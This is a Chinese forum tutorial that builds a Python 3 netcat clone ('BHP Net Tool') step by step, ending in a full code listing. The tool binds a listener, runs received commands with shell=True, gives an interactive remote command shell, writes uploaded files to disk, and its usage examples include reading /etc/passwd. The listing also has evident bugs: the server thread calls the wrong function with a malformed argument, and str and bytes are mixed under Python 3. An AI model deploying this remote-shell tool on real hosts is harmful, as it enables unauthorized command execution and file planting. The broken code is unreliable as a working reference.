Python3_编写网络监听工具

独行   ·   发表于 2020-06-09 10:42:40   ·   安全工具

前言

该文章主要是描写如何使用Python3来编写网络监听工具。文章分为两个部分。首先,先第一部分来解说需要使用的代码功能与使用,为了让不太熟悉Python3语言的朋友能够更好的通过该文章学习。之后会带领各位来整体编写网络监听工具。

第一部分:

1;sys.argv[]
我们想想看,常见使用一款工具的时候是不是打开是这样的格式:“工具名称 [选项] [输入内容]” 那么现在问题来了。我们输入的“[输入内容]”是如何进入到我们的代码当中呢?在我们的Python语言中使用函数sys.argv[]来获取命令行参数(从程序外部获取参数)。

  接下来我们来演示一下,该函数如何使用:

  我们来看看下面代码我们先了解以下他是一个什么类的数据:

#导入sys库
import sys
#查看sys.argv是什么样的格式
print(type(sys.argv))

运行代码,我们发现它是一个列表:

(Studying) aaron@MiWiFi-R3-srv:~/PycharmProjects/Studying$ python3.7 test.py sdf
<class 'list'>

  现在我们知道了sys.argv是一个列表格式的数据。那么,我们大概能够理解。我们输入的参数将会以列表的形式保存在“sys.argv”。那么我们如何提取存入的参数呢?熟悉的朋友已经了解了。接下来,我们来通过代码来说明一下:

#导入sys库
import sys
#输出输入参数
print("输出第一个参数:%s" % sys.argv[0])
print("输出第二个参数:%s" % sys.argv[1])
print("输出第三个参数:%s" % sys.argv[2])
print("输出第四个参数:%s" % sys.argv[3])

运行代码我们发现sys.argv[0]表示的是文件本身,sys.argv[1] 开始是我们输入的第一位参数

(Studying) aaron@MiWiFi-R3-srv:~/PycharmProjects/Studying$ python3.7 test.py 参数1 参数2 参数3
输出第一个参数:test.py
输出第二个参数:参数1
输出第三个参数:参数2
输出第四个参数:参数3
(Studying) aaron@MiWiFi-R3-srv:~/PycharmProjects/Studying$

  2;getopt.getopt
  现在,我们已经了解了如何将外部的参数读取以列表的形式保存下来。我们来想想看在我们输入的参数当中有选项阿,那该怎么处理呢。我们可以慢慢提取出来。那这样是否过于繁琐呢。没有有一种方法能够帮我们处理这个问题呢。答案是有的。下面我们来看看getopt.getopt()方法。
  我们先了解一下getopt.getopt()方法的语法:

getopt.getopt(args,options[,long_options])

 参数说明:

args: 表示需要解析的命令行列表
options:字符串格式定义。(如果选项有冒号则表示该选项后面有参数)
long_options:列表格式定义。(如果long_option 选项有“=” 则表示选项后面有参数)
  现在我们已经知道了该方法的使用,下面我们来用代码感受一下该方法的使用

#导入sys库
import sys
import getopt

#输出输入参数
a = getopt.getopt(sys.argv[1:],'t:p:',["target=","port="])

print(a)

我们来尝试运行一下代码,我们发现输入的(选项和命令参数)是以元组的数据格式来保存的。

(Studying) aaron@MiWiFi-R3-srv:~/PycharmProjects/Studying$ python3.7 test.py -t 192.168.1.1 -p 80
([('-t', '192.168.1.1'), ('-p', '80')], [])
(Studying) aaron@MiWiFi-R3-srv:~/PycharmProjects/Studying$ python3.7 test.py --target 192.168.1.1 --port 80
([('--target', '192.168.1.1'), ('--port', '80')], [])
(Studying) aaron@MiWiFi-R3-srv:~/PycharmProjects/Studying$

  3;socket

  我们都知道,我们需要编写的代码是需要通过网络来传输数据的,那么我们如何通过Python3来处理这个问题呢。这里我们需要使用socket模块。接下来,我们来重点关注一下该模块:

  在这之前,我们现了解一下“套接字(socket)”。所谓的“套接字”是一种计算机网络数据结构,任何类型的通讯开始之前是一定要创建套接字。套接字主要是分为两个部分:基于文件和面向网络。下面我们特别说明面向网络的套接字。我们知道在网络当中,有TCP连接和UDP链接。面对两种不同的方式,我们当然需要不同的套接字。

  • TCP/IP套接字
    tcpSock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
  • UDP/IP套接字
    udpSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    
    套接字创建完成之后,我们可以利用套接字当中的方法来进行发送数据,监听,接收数据:详细方法如下图:


  4;subprocess.check_output()

  方法的作用是执行指定命令。

  接下来,我们来用实例来看一下效果:很明显,我们的命令“df -h”已经被执行。

>>> import subprocess
>>> subprocess.check_output("df -h",shell=True)
b'\xe6\x96\x87\xe4\xbb\xb6\xe7\xb3\xbb\xe7\xbb\x9f \xe5\xae\xb9\xe9\x87\x8f \xe5\xb7\xb2\xe7\x94\xa8 \xe5\x8f\xaf\xe7\x94\xa8 \xe5\xb7\xb2\xe7\x94\xa8% \xe6\x8c\x82\xe8\xbd\xbd\xe7\x82\xb9\nudev 3.9G 0 3.9G 0% /dev\ntmpfs 794M 1.5M 793M 1% /run\n/dev/sda1 110G 58G 47G 56% /\ntmpfs 3.9G 75M 3.9G 2% /dev/shm\ntmpfs 5.0M 0 5.0M 0% /run/lock\ntmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup\ntmpfs 794M 8.0K 794M 1% /run/user/1000\n'
>>>

第二部分:

  好了,第一部分我们已经说明了编写该工具着重需要注意的点。那么接下来我们来正式进入编写程序的阶段

  1;我们先试想一下,我们的netcat 该有什么样的功能呢?文件上传,执行命令,shell,监听对吧。是不是还需要设定目标地址呢?还需要设定端口是把。好的,那接下来,我们再来想想。该如何去做是不是我们自己选择的。执行命令是不是我们来输入命令呢?好的。想到这儿,很明显了。我们需要用到第一部分sys.argv[] 和 getopt.getopt() 两个知识点呢?那么接下来我们看代码:

  1.1 ;首先我们定义一些变量,这些变量就是用来区分不同的选项的。不明白的可以稍候继续看下去:

#定义全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

  1.2;这些变量好了,那么我们需要考虑的是如何将外部参数上传到内部。详细,我们看下面代码:

opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])

  我们通过sys.argv将外部参数送进来并且通过getopt.getopt()来整理这些输入的参数。(注意,变量opts 用来存储定义的参数,变量args用来存储额外的参数)

  1.3;通过上面的代码,我们已经能够将外部参数已元组的形式保存在变量opts 当中了。那么,我们如何将数据保存下来并且使用呢。我们都知道不同的选项代表不同的功能。那么,变量opts当中存在什么选项就代表用户想要执行什么样的功能对不对?那么如何确定呢?可以通过for 循环来逐步提取出来进行对比。就可以发现opts变量中的选项了。好的,想法已经有了。下面我们落实到代码上面:

 for o,a in opts:
 if o in ("-h","--help"):
 usage()
 elif o in ("-l","--listen"):
 listen = True
 elif o in ("-e","--execute"):
 execute =a
 elif o in ("-c","--commandshell"):
 command = True
 elif o in ("-u","--upload"):
 upload_destination = a
 elif o in ("-t","--target"):
 target = a
 elif o in ("-p","--port"):
 port = int(a)
 else:
 assert False , "Unhandled Option"

  上面代码可以遍历变量当中opts中的值并且分别放入到变量“o”,“a” 。在循环中,通过if语句对比in语句当中的内容,对比成功则执行对应的操作。

  2;现在我们已经成功的完成了输入不同选项对应了不同的功能。那么下面我们开始补全这些功能。

  2.1;usage() 功能

  这里我们通过关键字def来定义一个功能函数,该功能函数主要是选项“-h”下的功能,用来提示如何使用该代码。

def usage():
 print("BHP Net Tool")
 print("-----------------------------------------------------------------------------------------------")
 print("Usage: netcat_python_studying.py -t target_host -p port ")
 print("-l --listen -listen on [host]:[port] for incoming connections")
 print("-e --execute=file_to_run - execute the given file upon receiving a connection")
 print("-c --command - initialize a command shell")
 print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
 print("-----------------------------------------------------------------------------------------------")
 print("Examples: ")
 print("netcat_python_studying.py -t 192.168.1.1 -p 5555 -l -c")
 print("netcat_python_studying.py -t 192.168.1.1 -p 5555 -l -u=c:\\target.exe")
 print("netcat_python_studying.py -t 192.168.1.1 -p 5555 -l -e=\"cat /etc/passwd\"")
 print("echo 'sdfsdf' | ./netcat_python_studying.py -t 192.168.1.1 -p 123")
 sys.exit(0)

  2.2;run_command()

  代码功能当中需要执行命令,那么我们需要定义一个执行命令的函数,代码如下:

def run_command(command):
 #换行
 command = command.rstrip()

 #运行命令并将输出返回
 try:
 output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
 except:
 output = "Failed to execute command.\r\n"

 #将输出发送
 return output

  (代码解释:数据由参数command进入到函数内部,首先经过方法rstrip() 处理数据结尾的空格符号,之后有方法subprocess.check_output来执行命名,最后返回执行的结果output。)

  2.3;server_loop()

  监听功能是必要的,下面我们再来添加一下监听功能的函数,详细如下代码:

def server_loop():
 global target

 #如果没有定义目标,那么我们监听所有接口
 if not len(target):
 target = "0.0.0.0"

 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 server.bind((target,port))

 server.listen(5)

 while True:
 client_socket,addr = server.accept()
 #分拆一个线程处理新的客户端
 client_thread = threading.Thread(target=client_sender,args=(client_socket))
 client_thread.start()

  (代码解析:这里我们通过全局变量target 来确定监听的地址,这里需要创建一个TCP/IP套接字。创建完成之后使用方法bind来绑定端口地址,启动监听功能。设定一个死循环,并且启动被动链接方法accept。一旦链接执行函数client_sender )

  注意:client_sender 函数自定义函数。主要功能是发送数据。

  2.4;client_sender()

  我们需要一个发送数据的功能,那么我们来自定义一个,详细如下面代码:

def client_sender(buffer):
 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 try:
 #链接目标主机
 client.connect((target,port))

 if len(buffer):
 client.send(buffer)

 while True:
 #现在等待数据回传
 recv_len = 1
 response = ""

 while recv_len:
 data = client.recv(4096)
 recv_len = len(data)
 response += data

 if recv_len < 4096:
 break

 print(response)

 #等待更多的输入
 buffer = input("")
 buffer += "\n"

 #发送出去
 client.send(buffer)

 except:
 print("[*] Exception! Exiting.")
 #关闭链接
 client.close()

  2.5;client_handler()

   现在我们来完善一下上传文件功能,执行命令,shell 功能。详细如下代码:

def client_handler(client_socket):
 global upload
 global execute
 global command

 #检测上传文件
 if len(upload_destination):
 #读取所有的字符并写下目标
 file_buffer = ""
 #持续读取数据知道没有符合的数据
 while True:
 data = client_socket.recv(1024)

 if not data:
 break
 else:
 file_buffer += data

 ##现在我们接收这些数据并将他们写出来
 try:
 file_descriptor = open(upload_destination,"wb")
 file_descriptor.write(file_buffer)
 file_descriptor.close()

 #确认文件已经写出来
 client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
 except:
 client_socket.send("Failed to save file to %s\r\n" % upload_destination)


 #检查命令执行
 if len(execute):
 #运行命令
 output = run_command(execute)

 client_socket.send(output)

 #如果需要一个命令行shell,那么我们进入另一个循环
 if command:
 while True:
 #跳出一个窗口
 client_socket.send("<BHP:#> ")

 #现在我们接收文件直到发现换行符(enter key)
 cmd_buffer = ""
 while "\n" not in cmd_buffer:
 cmd_buffer += client_socket.recv(1024)

 #返还命令输出
 response = run_command(cmd_buffer)

 #返回响应数据
 client_socket.send(response)

  2.6;现在我们的积木已经都有了(我喜欢将代码程序比作积木,不同的积木有不同的形状,不同的功能),那么我们现在来组建一下。

  外部程序参数进入的时候,我们来判断一下,如果条件listen不满足, target port 都有,我们就可以实行发送数据功能。如果listen启动,那么我们开启监听的功能。现在思路有了。那么我们来写下这串代码:

 # 我们是进行监听还是仅从标准输入发送数据?
 if not listen and len(target) and port > 0:
 #从命令行读取内存数据
 #这里将阻塞,所以不在标准输入发送数据时发送CTRL-D
 buffer = sys.stdin.read()

 #发送数据
 client_sender(buffer)

 #我们开始监听并准备上传文件,执行命令
 #放置一个反弹shell
 #取决于上面的命令行选项
 if listen:
 server_loop()

  3;现在我们将代码完整的展现一下:

import sys
import socket
import getopt
import threading
import subprocess

#定义全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def usage():
 print("BHP Net Tool")
 print("-----------------------------------------------------------------------------------------------")
 print("Usage: netcat_python_studying.py -t target_host -p port ")
 print("-l --listen -listen on [host]:[port] for incoming connections")
 print("-e --execute=file_to_run - execute the given file upon receiving a connection")
 print("-c --command - initialize a command shell")
 print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
 print("-----------------------------------------------------------------------------------------------")
 print("Examples: ")
 print("netcat_python_studying.py -t 192.168.1.1 -p 5555 -l -c")
 print("netcat_python_studying.py -t 192.168.1.1 -p 5555 -l -u=c:\\target.exe")
 print("netcat_python_studying.py -t 192.168.1.1 -p 5555 -l -e=\"cat /etc/passwd\"")
 print("echo 'sdfsdf' | ./netcat_python_studying.py -t 192.168.1.1 -p 123")
 sys.exit(0)

def main():
 global listen
 global port
 global execute
 global command
 global upload_destination
 global target

 if not len(sys.argv[1:]):
 usage()

 #读取命令选项
 try:
 opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
 except getopt.GetoptError as err:
 print(str())
 usage()

 for o,a in opts:
 if o in ("-h","--help"):
 usage()
 elif o in ("-l","--listen"):
 listen = True
 elif o in ("-e","--execute"):
 execute =a
 elif o in ("-c","--commandshell"):
 command = True
 elif o in ("-u","--upload"):
 upload_destination = a
 elif o in ("-t","--target"):
 target = a
 elif o in ("-p","--port"):
 port = int(a)
 else:
 assert False , "Unhandled Option"

 # 我们是进行监听还是仅从标准输入发送数据?
 if not listen and len(target) and port > 0:
 #从命令行读取内存数据
 #这里将阻塞,所以不在标准输入发送数据时发送CTRL-D
 buffer = sys.stdin.read()

 #发送数据
 client_sender(buffer)

 #我们开始监听并准备上传文件,执行命令
 #放置一个反弹shell
 #取决于上面的命令行选项
 if listen:
 server_loop()

def client_sender(buffer):
 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 try:
 #链接目标主机
 client.connect((target,port))

 if len(buffer):
 client.send(buffer)

 while True:
 #现在等待数据回传
 recv_len = 1
 response = ""

 while recv_len:
 data = client.recv(4096)
 recv_len = len(data)
 response += data

 if recv_len < 4096:
 break

 print(response)

 #等待更多的输入
 buffer = input("")
 buffer += "\n"

 #发送出去
 client.send(buffer)

 except:
 print("[*] Exception! Exiting.")
 #关闭链接
 client.close()

def server_loop():
 global target

 #如果没有定义目标,那么我们监听所有接口
 if not len(target):
 target = "0.0.0.0"

 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 server.bind((target,port))

 server.listen(5)

 while True:
 client_socket,addr = server.accept()
 #分拆一个线程处理新的客户端
 client_thread = threading.Thread(target=client_sender,args=(client_socket))
 client_thread.start()

def run_command(command):
 #换行
 command = command.rstrip()

 #运行命令并将输出返回
 try:
 output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
 except:
 output = "Failed to execute command.\r\n"

 #将输出发送
 return output

def client_handler(client_socket):
 global upload
 global execute
 global command

 #检测上传文件
 if len(upload_destination):
 #读取所有的字符并写下目标
 file_buffer = ""
 #持续读取数据知道没有符合的数据
 while True:
 data = client_socket.recv(1024)

 if not data:
 break
 else:
 file_buffer += data

 ##现在我们接收这些数据并将他们写出来
 try:
 file_descriptor = open(upload_destination,"wb")
 file_descriptor.write(file_buffer)
 file_descriptor.close()

 #确认文件已经写出来
 client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
 except:
 client_socket.send("Failed to save file to %s\r\n" % upload_destination)


 #检查命令执行
 if len(execute):
 #运行命令
 output = run_command(execute)

 client_socket.send(output)

 #如果需要一个命令行shell,那么我们进入另一个循环
 if command:
 while True:
 #跳出一个窗口
 client_socket.send("<BHP:#> ")

 #现在我们接收文件直到发现换行符(enter key)
 cmd_buffer = ""
 while "\n" not in cmd_buffer:
 cmd_buffer += client_socket.recv(1024)

 #返还命令输出
 response = run_command(cmd_buffer)

 #返回响应数据
 client_socket.send(response)

if __name__ == "__main__":
 main()
用户名金币积分时间理由
奖励系统 50.00 0 2020-06-11 10:10:46 投稿满 5 赞奖励
admin 100.00 0 2020-06-10 10:10:46 支持! 多写

打赏我,让我更有动力~

1 Reply   |  Until 3天前 | 1183 View

hhades
发表于 2020-6-13

不明觉厉大佬!!!

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.